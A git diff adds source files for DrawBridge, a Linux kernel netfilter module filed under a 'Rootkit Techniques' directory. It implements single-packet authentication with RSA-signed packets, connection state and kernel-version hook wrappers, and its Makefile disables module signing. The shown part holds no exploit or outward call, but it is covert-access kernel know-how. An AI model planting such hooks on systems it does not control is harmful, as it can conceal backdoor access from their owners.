z%gKC)m@J?u^=B!|k?!Mz)54b_U+{1VCn^a|ULK!%=lL6LzY@g8sU+t9r9+Po2a()iCQZm~6d!qf*3#b=OPopP99LGCE4$=en_2EK9 zGSXbG$Go8B&>vSfi$5Ex@Vox}vNE}td$VTu+pYK9Y2-fURnQAO@c?7zrIZKQusKCNIRc|W$D9_1C{85?Oc ze+RQ)dAmw*&}>8Q1Kovm;g(UykhP(9>!SKtd7m~u$t(Fs*=o5SEPn18>=enZzulwA zQk0Fay4A2!w7e7<&quCrD2BLx`~IS!CfT^wW(pn{YBXbzK68%w67B~XqAjC*x14um z%Dy-dkuGMM2Ilb#c4gxwmL{wj~+%?Up`tFMP;i*?%J81ht{g^~MC^y`A z)l){ud6Z6iiDYH{)o-CVrUqbG5u*Gq*2Bps`Y(K(6oBDI})8tvaa zJN#y`e%dRUpGTOmTQkgn`gppJ1)_nsr?4#{`=m(E`U$cvc+r0H82K@}K>Uh+TukIK zVfG3syTcdCb;5`JoclH65jzT^zhhF%OWL7U zFjNbz=(XN#KZSCs4fC3eM6;z!J?@Ila}U?+lFxRJEs2^Ku`_^|Rn1?9mBLSz?E7sZ>*ut=-YiUb)=ik&bWU?h4JbN9U-`FfAYq z7V+C9?sE7gIe~$R;c^q=Ti0;J^edisg?$1WEW4zcDsu-cBt zn?7|3zT+&({Cc@pW-${h0$n`{t|u+bT|LF7Z>Occ{^vIbPsi3LAqClSStuG@d7yV~ zVYH}ju$^gvyH%*juwVSDNyvV`TOV|l;n2a7P)GQ9*+I|L!K7O`bd~eacvre39O7Nk z^&(uP+{bD_smUNFo2a&B6W;Dc{Z&(FL;|>jpx3PbAAe38ktxtc7S$)Q<;@5H26R*H Lwkk%&=E?s6D#Jy_ literal 0 HcmV?d00001 diff --git a/Linux/Rootkit Techniques/DrawBridge/kernel/.clang-format b/Linux/Rootkit Techniques/DrawBridge/kernel/.clang-format new file mode 100644 index 0000000..4676400 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/kernel/.clang-format @@ -0,0 +1,553 @@ +# SPDX-License-Identifier: GPL-2.0 +# +# clang-format configuration file. Intended for clang-format >= 4. +# +# For more information, see: +# +# Documentation/process/clang-format.rst +# https://clang.llvm.org/docs/ClangFormat.html +# https://clang.llvm.org/docs/ClangFormatStyleOptions.html +# +--- +AccessModifierOffset: -4 +AlignAfterOpenBracket: Align +AlignConsecutiveAssignments: ACS_Consecutive +AlignConsecutiveDeclarations: false +#AlignEscapedNewlines: Left # Unknown to clang-format-4.0 +AlignOperands: true +AlignTrailingComments: false +AllowAllParametersOfDeclarationOnNextLine: false +AllowShortBlocksOnASingleLine: false +AllowShortCaseLabelsOnASingleLine: false +AllowShortFunctionsOnASingleLine: None +AllowShortIfStatementsOnASingleLine: false +AllowShortLoopsOnASingleLine: false +AlwaysBreakAfterDefinitionReturnType: None +AlwaysBreakAfterReturnType: None +AlwaysBreakBeforeMultilineStrings: false +AlwaysBreakTemplateDeclarations: false +BinPackArguments: true +BinPackParameters: true +BraceWrapping: + AfterClass: false + AfterControlStatement: false + AfterEnum: false + AfterFunction: true + AfterNamespace: true + AfterObjCDeclaration: false + AfterStruct: false + AfterUnion: false + #AfterExternBlock: false # Unknown to clang-format-5.0 + BeforeCatch: false + BeforeElse: false + IndentBraces: false + #SplitEmptyFunction: true # Unknown to clang-format-4.0 + #SplitEmptyRecord: true # Unknown to clang-format-4.0 + #SplitEmptyNamespace: true # Unknown to clang-format-4.0 +BreakBeforeBinaryOperators: None +BreakBeforeBraces: Custom +#BreakBeforeInheritanceComma: false # Unknown to clang-format-4.0 +BreakBeforeTernaryOperators: false +BreakConstructorInitializersBeforeComma: false +#BreakConstructorInitializers: BeforeComma # Unknown to clang-format-4.0 +BreakAfterJavaFieldAnnotations: false +BreakStringLiterals: false +ColumnLimit: 80 +CommentPragmas: '^ IWYU pragma:' +#CompactNamespaces: false # Unknown to clang-format-4.0 +ConstructorInitializerAllOnOneLineOrOnePerLine: false +ConstructorInitializerIndentWidth: 4 +ContinuationIndentWidth: 4 +Cpp11BracedListStyle: false +DerivePointerAlignment: false +DisableFormat: false +ExperimentalAutoDetectBinPacking: false +#FixNamespaceComments: false # Unknown to clang-format-4.0 + +# Taken from: +# git grep -h '^#define [^[:space:]]*for_each[^[:space:]]*(' include/ \ +# | sed "s,^#define \([^[:space:]]*for_each[^[:space:]]*\)(.*$, - '\1'," \ +# | sort | uniq +ForEachMacros: + - 'apei_estatus_for_each_section' + - 'ata_for_each_dev' + - 'ata_for_each_link' + - '__ata_qc_for_each' + - 'ata_qc_for_each' + - 'ata_qc_for_each_raw' + - 'ata_qc_for_each_with_internal' + - 'ax25_for_each' + - 'ax25_uid_for_each' + - '__bio_for_each_bvec' + - 'bio_for_each_bvec' + - 'bio_for_each_bvec_all' + - 'bio_for_each_integrity_vec' + - '__bio_for_each_segment' + - 'bio_for_each_segment' + - 'bio_for_each_segment_all' + - 'bio_list_for_each' + - 'bip_for_each_vec' + - 'bitmap_for_each_clear_region' + - 'bitmap_for_each_set_region' + - 'blkg_for_each_descendant_post' + - 'blkg_for_each_descendant_pre' + - 'blk_queue_for_each_rl' + - 'bond_for_each_slave' + - 'bond_for_each_slave_rcu' + - 'bpf_for_each_spilled_reg' + - 'btree_for_each_safe128' + - 'btree_for_each_safe32' + - 'btree_for_each_safe64' + - 'btree_for_each_safel' + - 'card_for_each_dev' + - 'cgroup_taskset_for_each' + - 'cgroup_taskset_for_each_leader' + - 'cpufreq_for_each_entry' + - 'cpufreq_for_each_entry_idx' + - 'cpufreq_for_each_valid_entry' + - 'cpufreq_for_each_valid_entry_idx' + - 'css_for_each_child' + - 'css_for_each_descendant_post' + - 'css_for_each_descendant_pre' + - 'cxl_for_each_cmd' + - 'device_for_each_child_node' + - 'dma_fence_chain_for_each' + - 'do_for_each_ftrace_op' + - 'drm_atomic_crtc_for_each_plane' + - 'drm_atomic_crtc_state_for_each_plane' + - 'drm_atomic_crtc_state_for_each_plane_state' + - 'drm_atomic_for_each_plane_damage' + - 'drm_client_for_each_connector_iter' + - 'drm_client_for_each_modeset' + - 'drm_connector_for_each_possible_encoder' + - 'drm_for_each_bridge_in_chain' + - 'drm_for_each_connector_iter' + - 'drm_for_each_crtc' + - 'drm_for_each_crtc_reverse' + - 'drm_for_each_encoder' + - 'drm_for_each_encoder_mask' + - 'drm_for_each_fb' + - 'drm_for_each_legacy_plane' + - 'drm_for_each_plane' + - 'drm_for_each_plane_mask' + - 'drm_for_each_privobj' + - 'drm_mm_for_each_hole' + - 'drm_mm_for_each_node' + - 'drm_mm_for_each_node_in_range' + - 'drm_mm_for_each_node_safe' + - 'flow_action_for_each' + - 'for_each_active_dev_scope' + - 'for_each_active_drhd_unit' + - 'for_each_active_iommu' + - 'for_each_aggr_pgid' + - 'for_each_available_child_of_node' + - 'for_each_bio' + - 'for_each_board_func_rsrc' + - 'for_each_bvec' + - 'for_each_card_auxs' + - 'for_each_card_auxs_safe' + - 'for_each_card_components' + - 'for_each_card_dapms' + - 'for_each_card_pre_auxs' + - 'for_each_card_prelinks' + - 'for_each_card_rtds' + - 'for_each_card_rtds_safe' + - 'for_each_card_widgets' + - 'for_each_card_widgets_safe' + - 'for_each_cgroup_storage_type' + - 'for_each_child_of_node' + - 'for_each_clear_bit' + - 'for_each_clear_bit_from' + - 'for_each_cmsghdr' + - 'for_each_compatible_node' + - 'for_each_component_dais' + - 'for_each_component_dais_safe' + - 'for_each_comp_order' + - 'for_each_console' + - 'for_each_cpu' + - 'for_each_cpu_and' + - 'for_each_cpu_not' + - 'for_each_cpu_wrap' + - 'for_each_dapm_widgets' + - 'for_each_dev_addr' + - 'for_each_dev_scope' + - 'for_each_displayid_db' + - 'for_each_dma_cap_mask' + - 'for_each_dpcm_be' + - 'for_each_dpcm_be_rollback' + - 'for_each_dpcm_be_safe' + - 'for_each_dpcm_fe' + - 'for_each_drhd_unit' + - 'for_each_dss_dev' + - 'for_each_efi_memory_desc' + - 'for_each_efi_memory_desc_in_map' + - 'for_each_element' + - 'for_each_element_extid' + - 'for_each_element_id' + - 'for_each_endpoint_of_node' + - 'for_each_evictable_lru' + - 'for_each_fib6_node_rt_rcu' + - 'for_each_fib6_walker_rt' + - 'for_each_free_mem_pfn_range_in_zone' + - 'for_each_free_mem_pfn_range_in_zone_from' + - 'for_each_free_mem_range' + - 'for_each_free_mem_range_reverse' + - 'for_each_func_rsrc' + - 'for_each_hstate' + - 'for_each_if' + - 'for_each_iommu' + - 'for_each_ip_tunnel_rcu' + - 'for_each_irq_nr' + - 'for_each_link_codecs' + - 'for_each_link_cpus' + - 'for_each_link_platforms' + - 'for_each_lru' + - 'for_each_matching_node' + - 'for_each_matching_node_and_match' + - 'for_each_member' + - 'for_each_memcg_cache_index' + - 'for_each_mem_pfn_range' + - '__for_each_mem_range' + - 'for_each_mem_range' + - '__for_each_mem_range_rev' + - 'for_each_mem_range_rev' + - 'for_each_mem_region' + - 'for_each_migratetype_order' + - 'for_each_msi_entry' + - 'for_each_msi_entry_safe' + - 'for_each_net' + - 'for_each_net_continue_reverse' + - 'for_each_netdev' + - 'for_each_netdev_continue' + - 'for_each_netdev_continue_rcu' + - 'for_each_netdev_continue_reverse' + - 'for_each_netdev_feature' + - 'for_each_netdev_in_bond_rcu' + - 'for_each_netdev_rcu' + - 'for_each_netdev_reverse' + - 'for_each_netdev_safe' + - 'for_each_net_rcu' + - 'for_each_new_connector_in_state' + - 'for_each_new_crtc_in_state' + - 'for_each_new_mst_mgr_in_state' + - 'for_each_new_plane_in_state' + - 'for_each_new_private_obj_in_state' + - 'for_each_node' + - 'for_each_node_by_name' + - 'for_each_node_by_type' + - 'for_each_node_mask' + - 'for_each_node_state' + - 'for_each_node_with_cpus' + - 'for_each_node_with_property' + - 'for_each_nonreserved_multicast_dest_pgid' + - 'for_each_of_allnodes' + - 'for_each_of_allnodes_from' + - 'for_each_of_cpu_node' + - 'for_each_of_pci_range' + - 'for_each_old_connector_in_state' + - 'for_each_old_crtc_in_state' + - 'for_each_old_mst_mgr_in_state' + - 'for_each_oldnew_connector_in_state' + - 'for_each_oldnew_crtc_in_state' + - 'for_each_oldnew_mst_mgr_in_state' + - 'for_each_oldnew_plane_in_state' + - 'for_each_oldnew_plane_in_state_reverse' + - 'for_each_oldnew_private_obj_in_state' + - 'for_each_old_plane_in_state' + - 'for_each_old_private_obj_in_state' + - 'for_each_online_cpu' + - 'for_each_online_node' + - 'for_each_online_pgdat' + - 'for_each_pci_bridge' + - 'for_each_pci_dev' + - 'for_each_pci_msi_entry' + - 'for_each_pcm_streams' + - 'for_each_physmem_range' + - 'for_each_populated_zone' + - 'for_each_possible_cpu' + - 'for_each_present_cpu' + - 'for_each_prime_number' + - 'for_each_prime_number_from' + - 'for_each_process' + - 'for_each_process_thread' + - 'for_each_property_of_node' + - 'for_each_registered_fb' + - 'for_each_requested_gpio' + - 'for_each_requested_gpio_in_range' + - 'for_each_reserved_mem_range' + - 'for_each_reserved_mem_region' + - 'for_each_rtd_codec_dais' + - 'for_each_rtd_components' + - 'for_each_rtd_cpu_dais' + - 'for_each_rtd_dais' + - 'for_each_set_bit' + - 'for_each_set_bit_from' + - 'for_each_set_clump8' + - 'for_each_sg' + - 'for_each_sg_dma_page' + - 'for_each_sg_page' + - 'for_each_sgtable_dma_page' + - 'for_each_sgtable_dma_sg' + - 'for_each_sgtable_page' + - 'for_each_sgtable_sg' + - 'for_each_sibling_event' + - 'for_each_subelement' + - 'for_each_subelement_extid' + - 'for_each_subelement_id' + - '__for_each_thread' + - 'for_each_thread' + - 'for_each_unicast_dest_pgid' + - 'for_each_vsi' + - 'for_each_wakeup_source' + - 'for_each_zone' + - 'for_each_zone_zonelist' + - 'for_each_zone_zonelist_nodemask' + - 'fwnode_for_each_available_child_node' + - 'fwnode_for_each_child_node' + - 'fwnode_graph_for_each_endpoint' + - 'gadget_for_each_ep' + - 'genradix_for_each' + - 'genradix_for_each_from' + - 'hash_for_each' + - 'hash_for_each_possible' + - 'hash_for_each_possible_rcu' + - 'hash_for_each_possible_rcu_notrace' + - 'hash_for_each_possible_safe' + - 'hash_for_each_rcu' + - 'hash_for_each_safe' + - 'hctx_for_each_ctx' + - 'hlist_bl_for_each_entry' + - 'hlist_bl_for_each_entry_rcu' + - 'hlist_bl_for_each_entry_safe' + - 'hlist_for_each' + - 'hlist_for_each_entry' + - 'hlist_for_each_entry_continue' + - 'hlist_for_each_entry_continue_rcu' + - 'hlist_for_each_entry_continue_rcu_bh' + - 'hlist_for_each_entry_from' + - 'hlist_for_each_entry_from_rcu' + - 'hlist_for_each_entry_rcu' + - 'hlist_for_each_entry_rcu_bh' + - 'hlist_for_each_entry_rcu_notrace' + - 'hlist_for_each_entry_safe' + - 'hlist_for_each_entry_srcu' + - '__hlist_for_each_rcu' + - 'hlist_for_each_safe' + - 'hlist_nulls_for_each_entry' + - 'hlist_nulls_for_each_entry_from' + - 'hlist_nulls_for_each_entry_rcu' + - 'hlist_nulls_for_each_entry_safe' + - 'i3c_bus_for_each_i2cdev' + - 'i3c_bus_for_each_i3cdev' + - 'ide_host_for_each_port' + - 'ide_port_for_each_dev' + - 'ide_port_for_each_present_dev' + - 'idr_for_each_entry' + - 'idr_for_each_entry_continue' + - 'idr_for_each_entry_continue_ul' + - 'idr_for_each_entry_ul' + - 'in_dev_for_each_ifa_rcu' + - 'in_dev_for_each_ifa_rtnl' + - 'inet_bind_bucket_for_each' + - 'inet_lhash2_for_each_icsk_rcu' + - 'key_for_each' + - 'key_for_each_safe' + - 'klp_for_each_func' + - 'klp_for_each_func_safe' + - 'klp_for_each_func_static' + - 'klp_for_each_object' + - 'klp_for_each_object_safe' + - 'klp_for_each_object_static' + - 'kunit_suite_for_each_test_case' + - 'kvm_for_each_memslot' + - 'kvm_for_each_vcpu' + - 'list_for_each' + - 'list_for_each_codec' + - 'list_for_each_codec_safe' + - 'list_for_each_continue' + - 'list_for_each_entry' + - 'list_for_each_entry_continue' + - 'list_for_each_entry_continue_rcu' + - 'list_for_each_entry_continue_reverse' + - 'list_for_each_entry_from' + - 'list_for_each_entry_from_rcu' + - 'list_for_each_entry_from_reverse' + - 'list_for_each_entry_lockless' + - 'list_for_each_entry_rcu' + - 'list_for_each_entry_reverse' + - 'list_for_each_entry_safe' + - 'list_for_each_entry_safe_continue' + - 'list_for_each_entry_safe_from' + - 'list_for_each_entry_safe_reverse' + - 'list_for_each_entry_srcu' + - 'list_for_each_prev' + - 'list_for_each_prev_safe' + - 'list_for_each_safe' + - 'llist_for_each' + - 'llist_for_each_entry' + - 'llist_for_each_entry_safe' + - 'llist_for_each_safe' + - 'mci_for_each_dimm' + - 'media_device_for_each_entity' + - 'media_device_for_each_intf' + - 'media_device_for_each_link' + - 'media_device_for_each_pad' + - 'nanddev_io_for_each_page' + - 'netdev_for_each_lower_dev' + - 'netdev_for_each_lower_private' + - 'netdev_for_each_lower_private_rcu' + - 'netdev_for_each_mc_addr' + - 'netdev_for_each_uc_addr' + - 'netdev_for_each_upper_dev_rcu' + - 'netdev_hw_addr_list_for_each' + - 'nft_rule_for_each_expr' + - 'nla_for_each_attr' + - 'nla_for_each_nested' + - 'nlmsg_for_each_attr' + - 'nlmsg_for_each_msg' + - 'nr_neigh_for_each' + - 'nr_neigh_for_each_safe' + - 'nr_node_for_each' + - 'nr_node_for_each_safe' + - 'of_for_each_phandle' + - 'of_property_for_each_string' + - 'of_property_for_each_u32' + - 'pci_bus_for_each_resource' + - 'pcl_for_each_chunk' + - 'pcl_for_each_segment' + - 'pcm_for_each_format' + - 'ping_portaddr_for_each_entry' + - 'plist_for_each' + - 'plist_for_each_continue' + - 'plist_for_each_entry' + - 'plist_for_each_entry_continue' + - 'plist_for_each_entry_safe' + - 'plist_for_each_safe' + - 'pnp_for_each_card' + - 'pnp_for_each_dev' + - 'protocol_for_each_card' + - 'protocol_for_each_dev' + - 'queue_for_each_hw_ctx' + - 'radix_tree_for_each_slot' + - 'radix_tree_for_each_tagged' + - 'rbtree_postorder_for_each_entry_safe' + - 'rdma_for_each_block' + - 'rdma_for_each_port' + - 'rdma_umem_for_each_dma_block' + - 'resource_list_for_each_entry' + - 'resource_list_for_each_entry_safe' + - 'rhl_for_each_entry_rcu' + - 'rhl_for_each_rcu' + - 'rht_for_each' + - 'rht_for_each_entry' + - 'rht_for_each_entry_from' + - 'rht_for_each_entry_rcu' + - 'rht_for_each_entry_rcu_from' + - 'rht_for_each_entry_safe' + - 'rht_for_each_from' + - 'rht_for_each_rcu' + - 'rht_for_each_rcu_from' + - '__rq_for_each_bio' + - 'rq_for_each_bvec' + - 'rq_for_each_segment' + - 'scsi_for_each_prot_sg' + - 'scsi_for_each_sg' + - 'sctp_for_each_hentry' + - 'sctp_skb_for_each' + - 'shdma_for_each_chan' + - '__shost_for_each_device' + - 'shost_for_each_device' + - 'sk_for_each' + - 'sk_for_each_bound' + - 'sk_for_each_entry_offset_rcu' + - 'sk_for_each_from' + - 'sk_for_each_rcu' + - 'sk_for_each_safe' + - 'sk_nulls_for_each' + - 'sk_nulls_for_each_from' + - 'sk_nulls_for_each_rcu' + - 'snd_array_for_each' + - 'snd_pcm_group_for_each_entry' + - 'snd_soc_dapm_widget_for_each_path' + - 'snd_soc_dapm_widget_for_each_path_safe' + - 'snd_soc_dapm_widget_for_each_sink_path' + - 'snd_soc_dapm_widget_for_each_source_path' + - 'tb_property_for_each' + - 'tcf_exts_for_each_action' + - 'udp_portaddr_for_each_entry' + - 'udp_portaddr_for_each_entry_rcu' + - 'usb_hub_for_each_child' + - 'v4l2_device_for_each_subdev' + - 'v4l2_m2m_for_each_dst_buf' + - 'v4l2_m2m_for_each_dst_buf_safe' + - 'v4l2_m2m_for_each_src_buf' + - 'v4l2_m2m_for_each_src_buf_safe' + - 'virtio_device_for_each_vq' + - 'while_for_each_ftrace_op' + - 'xa_for_each' + - 'xa_for_each_marked' + - 'xa_for_each_range' + - 'xa_for_each_start' + - 'xas_for_each' + - 'xas_for_each_conflict' + - 'xas_for_each_marked' + - 'xbc_array_for_each_value' + - 'xbc_for_each_key_value' + - 'xbc_node_for_each_array_value' + - 'xbc_node_for_each_child' + - 'xbc_node_for_each_key_value' + - 'zorro_for_each_dev' + +#IncludeBlocks: Preserve # Unknown to clang-format-5.0 +IncludeCategories: + - Regex: '.*' + Priority: 1 +IncludeIsMainRegex: '(Test)?$' +IndentCaseLabels: false +#IndentPPDirectives: None # Unknown to clang-format-5.0 +IndentWidth: 4 +IndentWrappedFunctionNames: false +JavaScriptQuotes: Leave +JavaScriptWrapImports: true +KeepEmptyLinesAtTheStartOfBlocks: false +MacroBlockBegin: '' +MacroBlockEnd: '' +MaxEmptyLinesToKeep: 1 +NamespaceIndentation: None +#ObjCBinPackProtocolList: Auto # Unknown to clang-format-5.0 +ObjCBlockIndentWidth: 8 +ObjCSpaceAfterProperty: true +ObjCSpaceBeforeProtocolList: true + +# Taken from git's rules +#PenaltyBreakAssignment: 10 # Unknown to clang-format-4.0 +PenaltyBreakBeforeFirstCallParameter: 30 +PenaltyBreakComment: 10 +PenaltyBreakFirstLessLess: 0 +PenaltyBreakString: 10 +PenaltyExcessCharacter: 100 +PenaltyReturnTypeOnItsOwnLine: 60 + +PointerAlignment: Right +ReflowComments: false +SortIncludes: false +#SortUsingDeclarations: false # Unknown to clang-format-4.0 +SpaceAfterCStyleCast: false +SpaceAfterTemplateKeyword: true +SpaceBeforeAssignmentOperators: true +#SpaceBeforeCtorInitializerColon: true # Unknown to clang-format-5.0 +#SpaceBeforeInheritanceColon: true # Unknown to clang-format-5.0 +SpaceBeforeParens: ControlStatements +#SpaceBeforeRangeBasedForLoopColon: true # Unknown to clang-format-5.0 +SpaceInEmptyParentheses: false +SpacesBeforeTrailingComments: 1 +SpacesInAngles: false +SpacesInContainerLiterals: false +SpacesInCStyleCastParentheses: false +SpacesInParentheses: false +SpacesInSquareBrackets: false +Standard: Cpp03 +TabWidth: 4 +UseTab: Never +... + diff --git a/Linux/Rootkit Techniques/DrawBridge/kernel/Makefile b/Linux/Rootkit Techniques/DrawBridge/kernel/Makefile new file mode 100644 index 0000000..89b28c4 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/kernel/Makefile @@ -0,0 +1,28 @@ +CONFIG_MODULE_SIG=n + +obj-m += drawbridge.o +drawbridge-objs := xt_hook.o xt_listen.o xt_state.o xt_crypto.o utils.o + +KDIR := /lib/modules/$(shell uname -r)/build +PWD := $(shell pwd) +EXTRA_CFLAGS := -O2 + +release: +ifneq ("$(wildcard ./key.h)","") + $(MAKE) -C $(KDIR) M=$(PWD) modules + rm -fr *.o .*.cmd Module.symvers modules.order drawbridge.mod.c +else + @echo "[!] Please ensure you've generated a public key, and that key.h is in this directory" +endif + +debug: +ifneq ("$(wildcard ./key.h)","") + KCPPFLAGS="-DDEBUG" $(MAKE) -C $(KDIR) M=$(PWD) modules + rm -fr *.o .*.cmd Module.symvers modules.order drawbridge.mod.c +else + @echo "[!] Please ensure you've generated a public key, and that key.h is in this directory" +endif + + +clean: + $(MAKE) -C $(KDIR) M=$(PWD) clean diff --git a/Linux/Rootkit Techniques/DrawBridge/kernel/compat.h b/Linux/Rootkit Techniques/DrawBridge/kernel/compat.h new file mode 100644 index 0000000..0461e48 --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/kernel/compat.h @@ -0,0 +1,75 @@ +/** +* @file compat.h +* @brief Kernel Version Specific Prototypes/Compatibility Header +* +* @author Bradley Landherr +* +* @date 03/17/2021 +*/ +#ifndef _LINUX_DRAWBRIDGE_COMPAT +#define _LINUX_DRAWBRIDGE_COMPAT 1 + +static unsigned int pkt_hook_v6(struct sk_buff *skb); +static unsigned int pkt_hook_v4(struct sk_buff *skb); + +#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 4, 0) +static unsigned int hook_wrapper_v4(void *priv, struct sk_buff *skb, + const struct nf_hook_state *state) +{ + return pkt_hook_v4(skb); +} +static unsigned int hook_wrapper_v6(void *priv, struct sk_buff *skb, + const struct nf_hook_state *state) +{ + return pkt_hook_v6(skb); +} +#elif LINUX_VERSION_CODE >= KERNEL_VERSION(4, 1, 0) +static unsigned int hook_wrapper_v4(const struct nf_hook_ops *ops, + struct sk_buff *skb, + const struct nf_hook_state *state) +{ + return pkt_hook_v4(skb); +} +static unsigned int hook_wrapper_v6(const struct nf_hook_ops *ops, + struct sk_buff *skb, + const struct nf_hook_state *state) +{ + return pkt_hook_v6(skb); +} +#elif LINUX_VERSION_CODE >= KERNEL_VERSION(3, 13, 0) +static unsigned int hook_wrapper_v4(const struct nf_hook_ops *ops, + struct sk_buff *skb, + const struct net_device *in, + const struct net_device *out, + int (*okfn)(struct sk_buff *)) +{ + return pkt_hook_v4(skb); +} +static unsigned int hook_wrapper_v6(const struct nf_hook_ops *ops, + struct sk_buff *skb, + const struct net_device *in, + const struct net_device *out, + int (*okfn)(struct sk_buff *)) +{ + return pkt_hook_v6(skb); +} +#elif LINUX_VERSION_CODE >= KERNEL_VERSION(3, 0, 0) +static unsigned int hook_wrapper_v4(unsigned int hooknum, struct sk_buff *skb, + const struct net_device *in, + const struct net_device *out, + int (*okfn)(struct sk_buff *)) +{ + return pkt_hook_v4(skb); +} +static unsigned int hook_wrapper_v6(unsigned int hooknum, struct sk_buff *skb, + const struct net_device *in, + const struct net_device *out, + int (*okfn)(struct sk_buff *)) +{ + return pkt_hook_v6(skb); +} +#else +#error "Unsuported kernel version. Only Linux 3.X and greater." +#endif + +#endif /* _LINUX_DRAWBRIDGE_COMPAT */ diff --git a/Linux/Rootkit Techniques/DrawBridge/kernel/drawbridge.h b/Linux/Rootkit Techniques/DrawBridge/kernel/drawbridge.h new file mode 100644 index 0000000..9b20c6f --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/kernel/drawbridge.h @@ -0,0 +1,122 @@ +/** +* @file drawbridge.h +* @brief Generic module header for Drawbridge +* +* @author Bradley Landherr +* +* @date 04/11/2018 +*/ +#ifndef _LINUX_DRAWBRIDGE_H +#define _LINUX_DRAWBRIDGE_H 1 + +// Protocol headers +#include +#include +#include +#include +#include +#include + +// List implementation in kernel +#include + +// Crypto +#include + +// Time +#include + +// Timout Configuration - default 5 min = 300000msec +#define STATE_TIMEOUT 300000 + +// Defaults +#define MAX_PACKET_SIZE 65535 +#define MAX_SIG_SIZE 4096 +#define MAX_DIGEST_SIZE 256 + +#ifdef DEBUG +#define DEBUG_PRINT(fmt, args...) printk(KERN_DEBUG fmt, ##args) +#else +#define DEBUG_PRINT(fmt, args...) /* Don't do anything in release builds */ +#endif + +#define LOG_PRINT(fmt, args...) printk(KERN_NOTICE fmt, ##args) + +/* + * Public key cryptography signature data + */ +typedef struct pkey_signature { + u8 *s; /* Signature */ + u32 s_size; /* Number of bytes in signature */ + u8 *digest; + u32 digest_size; /* Number of bytes in digest */ +} pkey_signature; + +/* + * Connection state for Trigger module + */ +typedef struct conntrack_state { + // IP version type + int type; + + // Destination port + __be16 port; + + // Source IP + union { + struct in6_addr addr_6; + __be32 addr_4; + } src; + + // Timestamps + unsigned long time_added; + unsigned long time_updated; + + // List entry + struct list_head list; + struct rcu_head rcu; + +} conntrack_state; + +// Must be packed so that the compiler doesn't byte align the structure +struct packet { + // Protocol data + struct timespec64 timestamp; + __be16 port; + +} __attribute__((packed)); + +// Typdefs for cleaner code +typedef struct akcipher_request akcipher_request; +typedef struct crypto_akcipher crypto_akcipher; + +// listen.c prototypes +int listen(void *data); +void inet_ntoa(char *str_ip, __be32 int_ip); + +// State API +conntrack_state *init_state(void); +int state_lookup(conntrack_state *head, int type, __be32 src, + struct in6_addr *src_6, __be16 port); +void state_add(conntrack_state *head, int type, __be32 src, + struct in6_addr *src_6, __be16 port); +void cleanup_states(conntrack_state *head); + +// Connection Reaper API +void reap_expired_connections(unsigned long timeout); +struct timer_list *init_reaper(unsigned long timeout); +void cleanup_reaper(struct timer_list *my_timer); + +// Crypto API +akcipher_request *init_keys(crypto_akcipher **tfm, void *data, int len); +void free_keys(crypto_akcipher *tfm, akcipher_request *req); +int verify_sig_rsa(akcipher_request *req, pkey_signature *sig); +void *gen_digest(void *buf, unsigned int len); + + +// Utils +void inet6_ntoa(char *str_ip, struct in6_addr *src_6); +void inet_ntoa(char *str_ip, __be32 int_ip); +void hexdump(unsigned char *buf, unsigned int len); + +#endif /* _LINUX_DRAWBRIDGE_H */ diff --git a/Linux/Rootkit Techniques/DrawBridge/kernel/utils.c b/Linux/Rootkit Techniques/DrawBridge/kernel/utils.c new file mode 100644 index 0000000..ec845de --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/kernel/utils.c @@ -0,0 +1,70 @@ +/** +* @file utils.c +* @brief Implements helper utilties for Drawbridge +* +* @author Bradley Landherr +* +* @date 04/11/2018 +*/ +#include +#include +#include + +/** + * @brief IPv4 Network to address display format + * @param str_ip Destination buffer, must be at least 17 bytes + * @param int_ip The address in big endian binary form + * @return void + */ +void inet_ntoa(char *str_ip, __be32 int_ip) +{ + if (!str_ip) + return; + + memset(str_ip, 0, 16); + sprintf(str_ip, "%d.%d.%d.%d", (int_ip)&0xFF, (int_ip >> 8) & 0xFF, + (int_ip >> 16) & 0xFF, (int_ip >> 24) & 0xFF); + + return; +} + +/** + * @brief IPv6 Network to address display format + * @param str_ip Destination buffer, must be at least 17 bytes + * @param src_6 The address in big endian binary form + * @return void + */ +void inet6_ntoa(char *str_ip, struct in6_addr *src_6) +{ + if (!str_ip) + return; + + memset(str_ip, 0, 32); + sprintf( + str_ip, + "%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x:%02x%02x", + (int)src_6->s6_addr[0], (int)src_6->s6_addr[1], (int)src_6->s6_addr[2], + (int)src_6->s6_addr[3], (int)src_6->s6_addr[4], (int)src_6->s6_addr[5], + (int)src_6->s6_addr[6], (int)src_6->s6_addr[7], (int)src_6->s6_addr[8], + (int)src_6->s6_addr[9], (int)src_6->s6_addr[10], + (int)src_6->s6_addr[11], (int)src_6->s6_addr[12], + (int)src_6->s6_addr[13], (int)src_6->s6_addr[14], + (int)src_6->s6_addr[15]); + + return; +} + +/** + * @brief Hexdump a buffer if the DEBUG flag is set + * @param buf Source buffer + * @param len Number of bytes to display + * @return void + */ +inline void hexdump(unsigned char *buf, unsigned int len) +{ +#ifdef DEBUG + while (len--) + DEBUG_PRINT("%02x", *buf++); + DEBUG_PRINT("\n"); +#endif +} diff --git a/Linux/Rootkit Techniques/DrawBridge/kernel/xt_crypto.c b/Linux/Rootkit Techniques/DrawBridge/kernel/xt_crypto.c new file mode 100644 index 0000000..2a2b91a --- /dev/null +++ b/Linux/Rootkit Techniques/DrawBridge/kernel/xt_crypto.c @@ -0,0 +1,299 @@ +/** +* @file xt_crypto.c +* @brief Implements asymmetric crypto wrapper API +* for Single Packet Authentication +* +* @author Bradley Landherr +* +* @date 04/11/2018 +*/ +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "drawbridge.h" + +// Stores the result of an async operation +typedef struct op_result { + struct completion completion; + int err; +} op_result; + +static const u8 RSA_digest_info_SHA256[] = { + 0x30, 0x31, 0x30, 0x0d, 0x06, + 0x09, 0x60, 0x86, 0x48, 0x01, + 0x65, 0x03, 0x04, 0x02, 0x01, + 0x05, 0x00, 0x04, 0x20 +}; + +typedef struct RSA_ASN1_template { + const u8 *data; + size_t size; +} RSA_ASN1_template; + +RSA_ASN1_template sha256_template; + +akcipher_request *init_keys(crypto_akcipher **tfm, void *data, int len) +{ + // Request struct + int err; + akcipher_request *req; + + *tfm = crypto_alloc_akcipher("rsa", 0, 0); + + if (IS_ERR(*tfm)) { + 